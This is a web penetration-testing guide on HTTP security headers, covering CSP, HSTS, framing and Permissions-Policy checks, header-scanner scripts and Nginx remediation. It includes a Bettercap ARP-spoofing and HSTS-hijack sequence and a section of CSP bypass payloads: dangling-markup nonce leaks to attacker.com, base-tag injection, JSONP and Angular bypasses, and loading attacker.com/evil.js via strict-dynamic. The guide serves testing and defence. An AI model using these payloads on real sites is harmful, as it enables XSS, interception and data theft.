Security Headers Testing
HTTP security headers are a critical defense layer. Missing or misconfigured headers enable clickjacking, XSS, MIME sniffing, SSL stripping, and data leakage attacks.
Frameworks: WSTG v4.2 CONF-07, CLNT-09 · WSTG v5 4.2.12 (Content Security Policy), 4.2.14 (Other HTTP Security Header Misconfigurations) · ASVS 5.0 V3.4.3, V3.4.4, V3.4.6 · CWE-693
Why Security Headers Matter
Header Testing Tools
Nuclei
Template-based header checks at scale
nuclei -t http/misconfiguration/
Burp Suite
Passive detection of missing headers
# Passive scan
1. Content-Security-Policy (CSP)
CSP controls which resources the browser is allowed to load. A weak or missing CSP dramatically increases XSS exploitability. Testing CSP is essential on every web pentest.
Testing CSP
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"
# Common weak CSP patterns to look for:
# unsafe-inline → Allows inline scripts (XSS exploitable)
# unsafe-eval → Allows eval() (XSS exploitable)
# data: in script-src → Allows data: URI scripts
# * or *.cdn.com → Overly broad source allowlists
# Missing default-src → No fallback policy
# Missing frame-ancestors → Clickjacking possible
# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>CSP Bypass Techniques
| CSP Directive | Weakness | Bypass |
|---|---|---|
script-src 'unsafe-inline' |
Allows inline scripts | Standard XSS payloads work |
script-src 'unsafe-eval' |
Allows eval() | Use eval-based payloads |
script-src *.google.com |
Broad CDN allowlist | Host payload on Google Apps Script |
script-src 'nonce-xxx' |
Nonce leaked or predictable | Reuse leaked nonce value |
No base-uri directive |
Base tag injection possible | <base href="https://evil.com/"> |
No frame-ancestors |
Clickjacking possible | Frame the target page |
2. Strict-Transport-Security (HSTS)
HSTS forces browsers to use HTTPS, preventing SSL stripping attacks. Missing HSTS allows tools like sslstrip and Bettercap to downgrade connections.
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"
# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Test for HSTS weaknesses:
# 1. Missing header entirely → SSL stripping possible
# 2. Low max-age (< 1 year) → Short protection window
# 3. Missing includeSubDomains → Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list → First visit vulnerable
# Check preload status
# Visit: https://hstspreload.org/?domain=target.com
# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on3. X-Frame-Options & Clickjacking
Missing or weak framing controls allow clickjacking attacks where a user interacts with a transparent iframe over a fake page.
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"
# Expected values:
# X-Frame-Options: DENY → Cannot be framed
# X-Frame-Options: SAMEORIGIN → Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none'; → CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self'; → CSP equivalent of SAMEORIGIN
# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsersWhat an attacker does with a framable page — the overlay, the button alignment, multi-step and drag-and-drop variants, frame-buster bypasses, and the check that the frame renders an authenticated session — belongs to the Clickjacking guide's Basic Clickjacking PoC section, linked under Related Topics. This page stays on the header values that decide whether framing is possible at all.
4. Other Critical Headers
| Header | Purpose | Recommended Value | Attack if Missing |
|---|---|---|---|
X-Content-Type-Options |
Prevent MIME sniffing | nosniff |
MIME confusion / XSS via uploaded files |
Referrer-Policy |
Control referrer leakage | strict-origin-when-cross-origin |
Token/path leakage via Referer header |
Permissions-Policy |
Restrict browser features | camera=(), microphone=(), geolocation=() |
Unauthorized access to camera/mic/location |
Cross-Origin-Opener-Policy |
Isolate browsing contexts | same-origin |
Cross-origin window handle leaks (Spectre) |
Cross-Origin-Embedder-Policy |
Require CORS for subresources | require-corp |
Side-channel attacks (SharedArrayBuffer) |
Cross-Origin-Resource-Policy |
Prevent cross-origin reads | same-origin |
Cross-origin data leakage |
5. Information Leakage Headers
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"
# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu) → Reveals server + OS + version
# X-Powered-By: Express → Reveals framework
# X-Powered-By: PHP/8.1.2 → Reveals language + version
# X-AspNet-Version: 4.0.30319 → Reveals .NET version
# X-AspNetMvc-Version: 5.2.7 → Reveals MVC version
# X-Generator: WordPress 6.4 → Reveals CMS + version
# These enable targeted CVE exploitationAutomation Scripts
#!/bin/bash
# Security Headers Analyzer
TARGET="$1"
echo "[*] Analyzing security headers: $TARGET"
HEADERS=$(curl -sI "$TARGET")
check_header() {
local header="$1"
local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
if [ -n "$result" ]; then
echo " [+] $result"
else
echo " [-] MISSING: $header"
fi
}
echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
# X-XSS-Protection is deprecated — the modern value is "0", so a missing
# header is NOT a defect and is intentionally not checked here.
echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"
echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
echo " Cookie: $line"
if echo "$line" | grep -qi "secure"; then echo " [+] Secure flag"; else echo " [-] Missing Secure"; fi
if echo "$line" | grep -qi "httponly"; then echo " [+] HttpOnly flag"; else echo " [-] Missing HttpOnly"; fi
if echo "$line" | grep -qi "samesite"; then echo " [+] SameSite set"; else echo " [-] Missing SameSite"; fi
done#!/bin/bash
# Security Headers Analyzer
TARGET="$1"
echo "[*] Analyzing security headers: $TARGET"
HEADERS=$(curl -sI "$TARGET")
check_header() {
local header="$1"
local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
if [ -n "$result" ]; then
echo " [+] $result"
else
echo " [-] MISSING: $header"
fi
}
echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
# X-XSS-Protection is deprecated — the modern value is "0", so a missing
# header is NOT a defect and is intentionally not checked here.
echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"
echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
echo " Cookie: $line"
if echo "$line" | grep -qi "secure"; then echo " [+] Secure flag"; else echo " [-] Missing Secure"; fi
if echo "$line" | grep -qi "httponly"; then echo " [+] HttpOnly flag"; else echo " [-] Missing HttpOnly"; fi
if echo "$line" | grep -qi "samesite"; then echo " [+] SameSite set"; else echo " [-] Missing SameSite"; fi
done#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor
SECURITY_HEADERS = {
"Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
"Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
"X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
"X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
"Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
"Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}
def check_url(url):
try:
resp = requests.get(url, timeout=10, allow_redirects=True)
missing = []
for header, info in SECURITY_HEADERS.items():
if header.lower() not in {h.lower() for h in resp.headers}:
missing.append({"header": header, **info})
return {"url": url, "status": resp.status_code, "missing": missing}
except Exception as e:
return {"url": url, "error": str(e)}
if __name__ == "__main__":
urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
with ThreadPoolExecutor(max_workers=10) as pool:
results = list(pool.map(check_url, urls))
for r in results:
if "error" in r:
print(f"[-] {r['url']}: {r['error']}")
else:
print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
for m in r['missing']:
print(f" [{m['severity']}] {m['header']}: {m['description']}")#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor
SECURITY_HEADERS = {
"Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
"Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
"X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
"X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
"Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
"Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}
def check_url(url):
try:
resp = requests.get(url, timeout=10, allow_redirects=True)
missing = []
for header, info in SECURITY_HEADERS.items():
if header.lower() not in {h.lower() for h in resp.headers}:
missing.append({"header": header, **info})
return {"url": url, "status": resp.status_code, "missing": missing}
except Exception as e:
return {"url": url, "error": str(e)}
if __name__ == "__main__":
urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
with ThreadPoolExecutor(max_workers=10) as pool:
results = list(pool.map(check_url, urls))
for r in results:
if "error" in r:
print(f"[-] {r['url']}: {r['error']}")
else:
print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
for m in r['missing']:
print(f" [{m['severity']}] {m['header']}: {m['description']}")Remediation & Defense
Recommended Header Configuration
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
# COOP/COEP: enable only when you need cross-origin isolation (e.g. SharedArrayBuffer);
# COEP require-corp will break cross-origin embeds that don't opt in.
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
# CORP: opts resources out of cross-origin embedding; use only if you don't rely
# on third-party resources being readable cross-origin.
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;CWE References: CWE-693 (Protection Mechanism Failure), CWE-1021 (Improper Restriction of Rendered UI Layers)
Security Headers Checklist
Critical Headers
- ☐ Content-Security-Policy present & strong
- ☐ Strict-Transport-Security with preload
- ☐ X-Frame-Options or frame-ancestors
- ☐ X-Content-Type-Options: nosniff
Important Headers
- ☐ Referrer-Policy configured
- ☐ Permissions-Policy set
- ☐ COOP/COEP/CORP headers
- ☐ Cookie flags (Secure, HttpOnly, SameSite)
Info Leakage
- ☐ Server header hidden/generic
- ☐ X-Powered-By removed
- ☐ Technology-specific headers removed
- ☐ Error pages don't leak stack traces
Advanced CSP Bypass Payloads
Warning
Nonce Extraction via Dangling Markup
If you can inject HTML before a nonced script tag, dangling markup can leak the nonce to an attacker-controlled server:
<!-- Inject an unclosed tag to capture the nonce in the request -->
<img src="https://attacker.com/collect?data=
<!-- The browser treats everything until the next quote as the src URL -->
<!-- If a nonced <script nonce="abc123"> follows, the nonce leaks in the request -->
<!-- Alternative: base tag injection (if base-uri not restricted) -->
<base href="https://attacker.com/">
<!-- All relative script src paths now resolve to attacker's server -->
<!-- Nonce reuse detection -->
<!-- If the nonce is the same across page loads, simply reuse it: -->
<script nonce="OBSERVED_NONCE">alert(document.domain)</script>script-src Bypass via JSONP / CDN Endpoints
When the CSP allowlists a CDN or domain hosting JSONP callbacks, you can inject arbitrary JavaScript:
<!-- CSP: script-src cdn.example.com -->
<!-- If cdn.example.com hosts a JSONP endpoint: -->
<script src="https://cdn.example.com/api?callback=alert(document.domain)//"></script>
<!-- Google JSONP endpoints (if *.google.com or *.googleapis.com allowed): -->
<script src="https://www.google.com/complete/search?client=chrome&q=x&callback=alert"></script>
<!-- Angular.js library bypass (if CDN hosts Angular): -->
<!-- CSP: script-src cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<!-- jQuery source-map request (source disclosure only — CSP still blocks execution): -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
//# sourceMappingURL=https://attacker.com/jquery.min.js.mapstrict-dynamic Bypass
The strict-dynamic directive allows scripts loaded by trusted scripts to execute — this creates a chain of trust that can be exploited:
<!-- If you can inject into a page with: -->
<!-- CSP: script-src 'strict-dynamic' 'nonce-abc123' -->
<!-- Create a script element dynamically (propagates trust): -->
<script nonce="abc123">
// If attacker controls any part of a trusted script's input:
var s = document.createElement('script');
s.src = 'https://attacker.com/evil.js';
document.body.appendChild(s); // Allowed by strict-dynamic!
</script>
<!-- DOM clobbering to hijack script creation: -->
<!-- If trusted JS does: document.getElementById('config').dataset.url -->
<a id="config" data-url="https://attacker.com/evil.js"></a>Hash-Based CSP Bypass
When CSP uses hash-based allowlisting, the exact script content must match. Look for ways to reuse existing hashed scripts:
# Calculate the hash of an inline script for CSP inclusion
echo -n 'alert(1)' | openssl dgst -sha256 -binary | base64
# Result: script-src 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='
# Check which hashes are in the CSP header
curl -sI https://target.com | grep -i "content-security-policy" | grep -oP "'sha256-[^']+'"
# If a page has an existing inline script that is hashed:
# Look for script injection points where you can match the exact hash
# by controlling the full script content (rare but possible in some CMSs)object-src and plugin Bypass
<!-- object-src falls back to default-src, so this only works when default-src
is absent (or object-src is explicitly allowlisted): -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
<!-- Flash-based bypass (legacy): -->
<object type="application/x-shockwave-flash" data="https://attacker.com/xss.swf">
<param name="AllowScriptAccess" value="always">
</object>Permissions-Policy Testing & Bypass
The Permissions-Policy header (formerly Feature-Policy) controls which browser features a page can use. Testing for misconfigurations can reveal exploitable gaps:
# Check Permissions-Policy header
curl -sI https://target.com | grep -i "permissions-policy"
# Example response: Permissions-Policy: camera=(), microphone=(), geolocation=(self)
# Common misconfigurations to test:
# 1. Missing header entirely → all features allowed
# 2. Overly permissive: camera=*, microphone=*
# 3. Allows iframes: camera=(self "https://trusted.com") but trusted.com has XSS
# 4. Missing critical directives (payment, usb, bluetooth)Feature Directives to Test
| Directive | Risk if Missing | Bypass via |
|---|---|---|
camera | Webcam access in iframes | XSS on allowed origin |
microphone | Audio recording | XSS on allowed origin |
geolocation | Location tracking | Embed in allowed iframe |
payment | Payment API abuse | Phishing via iframe |
usb | USB device access | Direct page access if no restriction |
display-capture | Screen capture | Clickjacking for permission grant |
autoplay | Background audio/video | User interaction spoofing |
// Browser console: test what features are available
// Check if camera access is allowed in current context
navigator.permissions.query({name: 'camera'}).then(r => console.log('Camera:', r.state));
navigator.permissions.query({name: 'microphone'}).then(r => console.log('Mic:', r.state));
navigator.permissions.query({name: 'geolocation'}).then(r => console.log('Geo:', r.state));
// Test from iframe context — create iframe and check permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page';
iframe.allow = 'camera; microphone'; // Override permissions in iframe
document.body.appendChild(iframe);Practice Labs
Evidence Collection
Missing Header Inventory: Capture the full HTTP response headers and document each missing security header (CSP, HSTS, X-Frame-Options, etc.) with the specific risk each absence introduces.
CSP Bypass Proof: If CSP is present but bypassable, demonstrate inline script execution or data exfiltration that the policy fails to prevent — include the policy directive and the bypass payload.
Clickjacking PoC: When X-Frame-Options or CSP frame-ancestors is missing, create an HTML page that iframes the target and performs UI redress — screenshot the overlaid attacker interface.
HSTS Gap Analysis: Document whether HSTS is set, its max-age value, includeSubDomains presence, and preload status — test for SSL stripping on first visit or subdomain downgrade.
CVSS Range: 2.6 (informational missing header) – 8.1 (CSP bypass enabling stored XSS data exfiltration)
False Positive Identification
- Informational Headers Only: Missing X-Content-Type-Options or X-XSS-Protection (deprecated) on an API-only endpoint with no HTML responses is informational, not exploitable.
- Defense-in-Depth Context: A missing header that would only matter if another vulnerability exists (e.g., no X-Frame-Options but the page has no state-changing actions) should be noted but not rated as high severity.
- CDN/Proxy Stripping: Some CDNs or reverse proxies strip or modify security headers — verify at the origin server before reporting the application as misconfigured.
- CSP Report-Only: Content-Security-Policy-Report-Only is intentionally non-enforcing for monitoring — flag it as a finding only if there's no enforcing CSP alongside it.